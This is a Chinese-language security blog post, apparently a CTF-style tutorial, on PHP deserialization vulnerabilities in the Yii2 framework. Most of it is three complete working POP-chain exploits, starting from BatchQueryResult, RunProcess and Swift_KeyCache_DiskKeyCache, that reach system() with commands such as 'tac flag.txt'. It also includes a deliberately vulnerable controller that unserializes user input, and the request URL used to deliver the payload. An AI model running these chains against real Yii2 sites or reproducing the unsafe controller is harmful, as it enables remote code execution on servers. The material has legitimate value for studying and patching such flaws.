Yii2反序列化漏洞
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Yii2反序列化漏洞相关的知识,希望对你有一定的参考价值。
环境搭建
反序列化链寻找
在不知道具体细节的情况下,我们可以通过github的change log来观察它的更新情况
BatchQueryResult (版本<2.0.38)
起点:
__destruct 后执行 reset方法,其中 _dataReader可控,现在就是找某个类的close方法,或是call方法,多次尝试之后,还是要通过call方法来触发
Generator类:
这里的call_user_func_array 虽然我们不能控制参数,但是可以控制方法,以数组的方式来执行方法;
这里的formatter确定了是 close ,但是formatters是我们可以操控的,所以只要设置formatters[‘close’]=array(‘类名’,‘方法’)
,即可执行一个类的无参方法,此处可以直接用正则找到无参方法中含有call_user_func的类function \\w+\\(\\) ?\\n?\\{(.*\\n)+call_user_func
rest\\IndexAction类:
两个参数都可控,那么可以直接命令执行,构造poc
POP链
<?php
namespace yii\\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\\rest\\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\\db{
use Faker\\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\\db\\BatchQueryResult()));
}
?>
在控制器中加上一个反序列化的操作;在controllers目录下新建一个SerController.php,内容如下:
<?php
namespace app\\controllers;
class SerController extends \\yii\\web\\Controller{
public function actionUnser($data){
return unserialize(base64_decode($data));
}
}
Yii2的路由方式是 index.php?r=控制器名/方法名
所以直接 index.php?r=ser/unser&data=反序列化数据
RunProcess
在Yii2.0.38中将上面BatchQueryResult添加了__wakeup方法,导致不能作为起点,但是直接搜__destruct还是能找到其他的起点的,RunProcess类
这里processes可控,还是可以用上一条链的后半部分
POP链
<?php
namespace yii\\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'tac flag.txt && ls';
}
}
}
namespace Faker{
use yii\\rest\\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\\Extension{
use Faker\\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\\Extension\\RunProcess()));
}
?>
Swift_KeyCache_DiskKeyCache
path可控,可以触发tostring方法
POP链
<?php
namespace yii\\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'tac flag.txt && dir';
}
}
}
namespace Faker{
use yii\\rest\\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['saveXML'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\\Util{
use Faker\\Generator;
class XmlBuilder{
protected $__dom__;
public function __construct(){
$this->__dom__= new Generator();
}
}
}
namespace{
use Codeception\\Util\\XmlBuilder;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct(){
$this->path = new XmlBuilder();
$this->keys = array(
"null"=>"a"
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache));
}
与此类似的POP链还有
Swift\\KeyCache\\DiskKeyCache::__destruct()
->
src\\DocBlock\\Tags\\See.php::__toString()
->
Faker\\Generator::__call()
->
yii\\rest\\IndexAction::run()
Swift\\KeyCache\\DiskKeyCache::__destruct()
->
src\\DocBlock\\Description.php::__toString()
->
Faker\\Generator::__call()
->
yii\\rest\\IndexAction::run()
以上是关于Yii2反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章